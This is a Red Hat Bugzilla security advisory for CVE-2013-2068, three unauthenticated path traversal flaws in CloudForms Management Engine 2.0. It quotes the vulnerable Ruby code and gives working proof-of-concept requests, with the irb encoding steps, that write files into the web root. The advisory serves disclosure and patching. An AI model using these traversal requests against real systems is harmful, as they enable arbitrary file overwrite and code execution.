Bug 960422 (CVE-2013-2068) - CVE-2013-2068 cfme: CFME 2.0 multiple zip file upload path traversal vulnerabilities
Summary: CVE-2013-2068 cfme: CFME 2.0 multiple zip file upload path traversal vulnerab...
Keywords:
Status: CLOSED ERRATA
Alias: CVE-2013-2068
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
urgent
urgent
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
URL:
Whiteboard:
Depends On: 960711 960742 960743
Blocks: 951654 960425
TreeView+ depends on / blocked
 
Reported: 2013-05-07 07:58 UTC by Kurt Seifried
Modified: 2023-05-13 01:17 UTC (History)
19 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Environment:
Last Closed: 2013-09-04 18:49:56 UTC
Embargoed:


Attachments (Terms of Use)


Links
System ID Private Priority Status Summary Last Updated
Red Hat Product Errata RHSA-2013:1206 0 normal SHIPPED_LIVE Critical: Red Hat CloudForms Management Engine security update 2013-09-12 13:06:50 UTC

Description Kurt Seifried 2013-05-07 07:58:04 UTC
Ramon de C Valle (rcvalle) reports:

Multiple path traversal exist within the 

1) log method of AgentController controller of CFME. The log method can be 
accessed directly at http://host/agent/log.

The log method deletes (if the file exists) and creates a file using the
user-controlled filename parameter without sanitizing it. The contents
of the file are subsequently written as the user-controlled data
parameter as ZIP encoded data.

In vmdb/app/controllers/agent_controller.rb:56:

    data = MIQEncode.decode(params["data"])
    file = File.join(proxy.logdir, params["filename"])
    options = params["options"]
    $log.info "MIQ(agent-log): [#{options.inspect}]" unless
params["options"].nil?

    File.delete(file) if File.exists?(file)
    $log.info "MIQ(agent-log): Create file: #{file}"
    File.open(file, "wb") {|f| f.write(data)}

This vulnerability can be exploited by sending a specially crafted
request containing a valid host guid that has at least one associated
proxy. For instance, the following GET request creates the file
pwned.txt containing the word 'pwned' at the /var/www/miq/vmdb/public/
directory.

https://host/agent/log?&id=8dfc29fe-a118-11e2-805c-005056920a2c&filename=../../../../../../../../../var/www/miq/vmdb/public/pwned.txt&data=eJwrKM9LTQEABokCHw==

Where id is a valid host guid that has at least one associated proxy,
and data is encoded as follows:

[rcvalle@ThinkPad ~]$ irb
irb(main):001:0> require 'zlib'
=> true
irb(main):002:0> [Zlib::Deflate.deflate('pwned')].pack('m')
=> "eJwrKM9LTQEABokCHw==\n"
irb(main):003:0>

Additionaly, the file modification time can also be specified with the
user-supplied mtime parameter which is set by the log method after the
file is created. This could be used for hiding the file from searches
for newly created files.

2) upload method of AgentController controller of CFME. The upload 
method can be accessed directly at http://host/agent/upload.

The upload method deletes (if the file exists) and creates a file using
the user-controlled filename parameter without sanitizing it. The
contents of the file are subsequently written as the user-controlled
data parameter as ZIP encoded data.

In vmdb/app/controllers/agent_controller.rb:102:

    file = File.join(mediadir, params["filename"])
    md5 = Digest::MD5.hexdigest(data).to_s
    raise "upoload of file #{file} failed, md5 mismatch, expected
#{params["md5"]}, got #{md5}" if params["md5"] != md5

    $log.info "MIQ(agent-upload): Saving agent file: #{file}"
    File.delete(file) if File.exists?(file)
    $log.info "MIQ(agent-upload): Create file: #{file}"
    File.open(file, "wb") {|f| f.write(data); f.close}

This vulnerability can be exploited by sending a specially crafted
request containing a valid platform in the first 4 bytes of the data
parameter, the MD5 checksum of the data parameter, and any numeric value
as the agent version. For instance, the following GET request creates
the file pwned.txt containing the word 'pwned' at the
/var/www/miq/vmdb/public/ directory.

https://host/agent/upload?&filename=../../../../../../../../../var/www/miq/vmdb/public/pwned.txt&data=eJyrd/VxKyjPS00BABDkA3U=&md5=b131830a18266f83111d9149adb6451d&version=1

Where data is encoded as follows:

[rcvalle@ThinkPad ~]$ irb
irb(main):001:0> require 'zlib'
=> true
irb(main):002:0> [Zlib::Deflate.deflate("\x7f\x45\x4c\x46pwned")].pack('m')
=> "eJyrd/VxKyjPS00BABDkA3U=\n"

And md5 as follows:

irb(main):003:0> require 'digest/md5'
=> true
irb(main):004:0> Digest::MD5.hexdigest("\x7f\x45\x4c\x46pwned")
=> "b131830a18266f83111d9149adb6451d"

3) linuxpkgs method of AgentController controller of CFME. The log method can 
be accessed directly at http://host/agent/linuxpkgs.

The linuxpkgs method deletes (if the file exists) and creates a file
using the user-controlled filename parameter without sanitizing it. The
contents of the file are subsequently written as the user-controlled
data parameter as ZIP encoded data.

In vmdb/app/controllers/agent_controller.rb:119:

    filename = params["filename"]
    datadir = File.join(File.expand_path(Rails.root), "data",
"applications")
    Dir.mkdir datadir unless File.exists?(datadir)

    file = File.join(datadir, filename)
    data = MIQEncode.decode(params["data"])
    md5 = Digest::MD5.hexdigest(data).to_s

    raise "upoload of file #{file} failed, md5 mismatch, expected
#{params["md5"]}, got #{md5}" if params["md5"] != md5

    File.delete(file) if File.exists?(file)
    $log.info "MIQ(agent-upload): Create file: #{file}"
    File.open(file, "wb") {|f| f.write(data); f.close}

This vulnerability can be exploited by sending a specially crafted
request containing the MD5 checksum of the data parameter. For instance,
the following GET request creates the file pwned.txt containing the word
'pwned' at the /var/www/miq/vmdb/public/ directory.

https://host/agent/linuxpkgs?&filename=../../../../../../../../../var/www/miq/vmdb/public/pwned.txt&data=eJwrKM9LTQEABokCHw==&md5=5e93de3efa544e85dcd6311732d28f95

Where data is encoded as follows:

[rcvalle@ThinkPad ~]$ irb
irb(main):001:0> require 'zlib'
=> true
irb(main):002:0> [Zlib::Deflate.deflate('pwned')].pack('m')
=> "eJwrKM9LTQEABokCHw==\n"

And md5 as follows:

irb(main):003:0> require 'digest/md5'
=> true
irb(main):004:0> Digest::MD5.hexdigest('pwned')
=> "5e93de3efa544e85dcd6311732d28f95"

Comment 2 Kurt Seifried 2013-05-07 18:18:04 UTC
Please note that the zip file is unpacked after uploading meaning that arbitrary file creation and overwrite of file writable by the server server process is possible. Additionally code execution is possible.

Comment 3 Ramon de C Valle 2013-05-07 18:56:40 UTC
Note that authentication also is not required for these resources.

Comment 14 errata-xmlrpc 2013-09-04 18:10:26 UTC
This issue has been addressed in following products:

  Red Hat CloudForms Management Engine 2.0

Via RHSA-2013:1206 https://rhn.redhat.com/errata/RHSA-2013-1206.html

Comment 16 Vincent Danen 2013-09-26 19:06:19 UTC
Acknowledgements:

This issue was discovered by Ramon de C Valle of the Red Hat Product Security Team.


Note You need to log in before you can comment on or make changes to this bug.